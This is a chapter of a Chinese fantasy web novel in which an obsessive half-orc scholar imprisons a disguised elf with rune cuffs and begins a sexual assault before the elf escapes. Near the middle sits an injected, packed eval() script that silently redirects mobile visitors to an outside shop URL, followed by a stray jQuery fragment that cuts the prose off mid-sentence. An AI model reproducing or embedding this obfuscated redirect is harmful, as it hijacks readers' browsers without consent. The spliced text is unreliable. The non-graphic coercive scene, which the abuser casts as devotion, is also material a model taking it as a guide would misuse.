顾明修扶住楚时岭剧烈颤抖的肩膀,不顾对方的抗拒,倾身向他靠近。眼神里的狂热与虔诚,将他原本温和的面具彻底融化。
神情近乎宣誓。
「这世上的人,都不懂你们。」
「只有我。」
「只有我会把你放在最合适的位置。」
「让你永远不会被遗忘,永远不会被践踏。」
「永远……神圣美丽。」
他的声音温柔得不可思议。
楚时岭只觉得浑身发冷。
眼前这个人,真真切切地相信着自己说的每一句话。他所谓的爱,比任何单纯的恶意更令人恐惧。
「你这疯子……」楚时岭几乎失去声音。
顾明修将脸凑近,鼻尖几乎要抵上楚时岭的鼻尖:「让我好好地看看你。」
恐惧与绝望激发了他本能的求生欲,强迫自己从大脑空白的状态中恢复过来。
他绝不能死在这里。
顾明修着迷的眼神还在恣意掠夺,楚时岭紧闭双眼,心中疯狂找回专注力。双手虽然在颤抖,依然拼尽力量,掌心凝聚,接着一道由魔力构成的短匕出现在手中。
接着,猛地睁开眼。
没有丝毫犹豫,朝着顾明修胸口狠狠刺去。
然而下一秒。
啪——
手腕被牢牢扣住。
顾明修像是早有预料一般,轻而易举便制住了他的攻击。
「果然。」他轻轻叹息。
「越美丽的精灵,越喜欢反击。」
楚时岭咬牙挣扎,另一只手也同时挥出。
顾明修却快得惊人,一个冰冷金属扣环瞬间扣上手腕。
喀哒。
楚时岭双手被一副刻满细密符文的银色手铐锁死,刹那间数道光芒立刻从符文中亮起。
下一秒。
体内原本就不多的魔力,像被什么东西强行抽离般溃散开来,维持伪装的力量瞬间崩毁。
棕色长发开始褪色。
一缕。
两缕。
无数金色光泽从发丝深处蔓延开来,翠绿眼眸也同时化作湛蓝。
密室安静了。
顾明修像一个跋涉数十年的信徒,终于看见了自己毕生追寻的神明。
他用手轻轻地抚摸着楚时岭的金发,眼神中充满了狂热和迷恋。他的声音听起来有些颤抖,兴奋到近乎疯癫的说道:「我就知道!我就知道!那一天我闻到你的气味,我就知道你绝对不是一般精灵。」
「金发……」
他捧起一缕发丝喃喃道。
「真的是金发……」
「原来如此……」
「原来如此……」
他不停重复着,眼神透露着狂喜与痴迷。
「太完美了……」
「比所有画像都更美。」
他笑着笑着,眼眶竟微微泛红,像多年夙愿终于实现:「时岭,你知道吗?我一直在找你。」
顾明修双膝跪地,将楚时岭整个人圈在自己双臂之间。
楚时岭浑身发寒。双手被符文手铐死死锁住,魔力不断流失,连挣扎都变得愈发无力。
他仍咬着牙向后退去,像受惊的野兽。
顾明修伸手将他拖了回来,抬起手,指腹轻柔地摩挲着楚时岭因恐惧而泛红的眼角,随后,他的鼻尖顺着楚时岭颤抖的脸颊滑下,埋进了他修长的颈侧。
「呼……原来这就是记载里,最纯粹的灵木气息……」
他伸出手,温柔地替他将凌乱的金发轻轻拨到耳后。
「别怕。」
「我不会把你交给任何人,外面太危险了。」
楚时岭强忍?心地偏过头。
「滚开!」
顾明修却像没听见。
他微微俯身,轻轻在那脆弱的皮肤上落下一吻,随即又转向耳畔,低语道:
「时岭,我们绑定吧。」
眼神坚定,像信徒终于踏入传说中的圣地。
楚时岭瞬间头皮发麻,剧烈挣扎起来,手铐摩擦撞出刺耳的声响,他愤怒地咆哮,试图用额头撞开眼前这个变态:
「滚开!你这疯子!我死也不会……」
顾明修却只是伸手将他重新按住,那动作甚至称得上小心翼翼。
「你知道吗?」
他低声道:
「我研究精灵数十年。」
「见过许多精灵。」
说到这里。
他的眼神忽然变得无比柔和。
「可从来没有任何一个,能让我产生这样的念头。」
顾明修望着他,神情带虔诚:
「你不知道这意味着什么。」
顾明修将额头抵住楚时岭的额头,他的眼中燃烧着幽暗的火焰:「世间凡人为了追求你们的躯壳,或是渴望那点短暂的精神力,与你们结合,但我不一样。我愿意与你缔结灵魂契约。」
顾明修像说出了某种神圣誓言。
「精灵是单一伴侣制,我知道一旦完成结合绑定,我也终将只属于你。」
「绑定,这是我对你最高的敬意。」
「?心。你也配谈爱?」
楚时岭啐了他一口。
顾明修并不生气,他将脸上的唾沫抹去,用手指含在嘴里,笑容里带着几分真挚:
「许多人得到精灵,却不愿意付出同样代价。」
「因为他们只想享受精灵带来的力量,他们根本不配。」
他伸出手,轻轻握住楚时岭被铐住的手腕,眼神炽热得近乎偏执。
「我愿意放弃所有选择,只有你配得上我。」
楚时岭只觉得一阵?心。
顾明修再次低头,不顾精灵的挣扎:
「你是我的。」
「你给我滚……放开我!你真?心!」楚时岭剧烈地扭动着身躯,眼泪因为屈辱与愤怒而溢出眼眶,他感觉到一阵阵令人作呕的湿热感落在皮肤上。
顾明修听着这些咒骂,竟发出了满足的低笑,
他伸手抚平楚时岭因挣扎凌乱的金发,像是在安抚一只即将入笼的困兽。
「嘘,不用急着拒绝,时岭。」
他指尖滑过楚时岭的喉结:「我们有的是时间,这里没人会来,你可以好好感受。」
楚时岭猛烈摇头,手铐一次次撞击地面,金属声在密室里回荡。就在这濒临崩溃的边缘,脑海中却不合时宜地闪过了一道身影,景临。
他想起那句漫不经心的「人我要了。」、想起一把捞上马的手臂、想起景临谈论理想时的眼神、想起他说「总有一天,出身将不再决定命运。」,甚至想起那人吃到奶油派时,难得露出的满足神情。
不。不能留在这里。
他死死盯着顾明修,眼中不仅没有恐惧,反而燃起了恨意,「你这种人,根本不配触碰我。」
下一瞬,楚时岭骤然抬起双手,用沉重的手铐狠狠砸向顾明修。
砰!顾明修猝不及防被击中额角,鲜血立刻顺着额际流下。楚时岭剧烈喘息着,狠狠盯着对方。
顾明修没有发怒,却像想起什么似的,露出有些歉意的神情。
「对了。如果我们终将成为彼此最重要的人,那我确实应该对你坦诚一些。」
随着他话音落下,空气中传来骨骼摩擦的脆响。他原文弱、修长的身体开始发生惊人的变化。
那套深灰色的长袍在肌肉膨胀的压力下发出不堪重负的裂帛声,紧接着,他的手臂变得粗壮结实,肌肉线条如同被雕刻过一般充满了爆发性的力量,与此同时整个人竟生生拔高了数寸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876653|211794||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他微微歪过头,露出一抹让精灵毛骨悚然的笑容。在那嘴唇之下,两颗尖锐、发着寒光的虎牙赫然显露,那是兽人混血的象征。
接着,他向前一步,阴影再一次将楚时岭彻底笼罩。
「那么,可以开始了吧。」
楚时岭惊恐地边爬边退,脊背却已抵上了冰冷的展示架。
「我们说好的,时岭。」
顾明修垂眸看着他,眼底流动着兽性的占有欲,粗壮的手臂如同铁钳般按住他的肩膀,将他彻底固定。
「不!」
嘶啦!
布料撕裂的尖锐声响在寂静的密室中显得格外刺耳。顾明修的手指带着令人窒息的力量,粗暴却又精准地扯开了楚时岭的上衣。
原本就已不堪的外衣瞬间化作破碎的布条,精灵白皙如玉、纤细却柔韧的肩膀与胸/膛毫无保留地暴露在空气中。
楚时岭惊呼一声,倔强的蓝眸狠狠的瞪着顾明修。
「真美。」顾明修喉咙深处发出一声满足的低鸣。
顾明修那种如同野兽巡视领地的触感,让楚时岭感到一阵强烈的生理性战栗。
他奋力挣动着手腕,但他越是反抗,顾明修眼中的狂热便越是高涨。
「放开我……你这……畜生!」
楚时岭咬着牙,湛蓝的眼中盈满了泪水,声音因愤怒而嘶哑。
「我是为了保护你,时岭。你若留在外面,只会被那些庸俗之辈蚕食殆尽。只有在我的契约之下……你才能真正地、永远地保留这份动人心魄的美丽。」
楚时岭感受到那种足以将他完全吞噬的危险,他的呼吸越来越急促,强大的魔力被封印后的无力感,让他感觉自己像是一朵被压在标本夹里,正在一点点枯萎凋零的花。
「感受到了吗?我们的灵魂,正在因为渴望而共鸣……」
他眼中的情绪复杂且极致,充满了疯狂的爱意。
就在顾明修的手掌正要进一步时,整座书楼突然发出一声嗡鸣。
轰!
大地彷佛被一只巨手猛力摇晃,密室的墙壁瞬间出现了无数道狰狞的裂纹。房梁上的尘土簌簌落下,展示架那沉重的金属结构发出了不堪重负的扭曲声。
「怎么回事?」
展示架上的展品,突然发出奇异的金光,那些圣洁的精灵标本诡异地晃动起来,满室回荡着古老的圣语,用一种不甘的语气念着守护的咒语。
顾明修的动作猛地停滞,他那原本狂热的眼底闪过一丝错愕,显然没料到密室的防御机制会崩塌。
轰隆!
然而,下一秒,整面沉重层架墙带着崩裂的石块砸向他们。顾明修反应极快,在那千钧一发之际,他几乎是本能地将楚时岭猛地向后一推,避开了最致命的撞击。
「呃!」顾明修闷哼一声,结实的兽人躯体被压在层层木架之下。
楚时岭顾不得身上破碎的衣衫与手铐带来的刺痛,大脑只有一个念头,逃。
他连滚带爬地冲出那令他窒息的密室,穿过混乱的书楼,冲进了顾府外那场突如其来的滂沱大雨中。
他赤着脚,在泥泞的巷弄里跌跌撞撞地奔逃,身上还带着顾明修留下的斑斑红痕,符文手铐在雨中反射着冰冷的幽光。
他在深夜里穿过一个又一个街口,直到转过最后一个街角。
那里,一道高大的黑影撑着一把黑伞,在雨幕中焦急寻找。
当景临看到那个身影从黑暗的雨中跌撞而出时,脚步猛地停住。
待看清对方的金发与湛蓝眼眸,还有那破碎衣衫下掩盖不住的狼狈与伤痕时,他金瞳绽露,心疼与惶恐已经无法掩饰。
「时岭…」
雨幕将两人的世界与外界隔绝。
怀抱里,楚时岭知道他不会再逃了。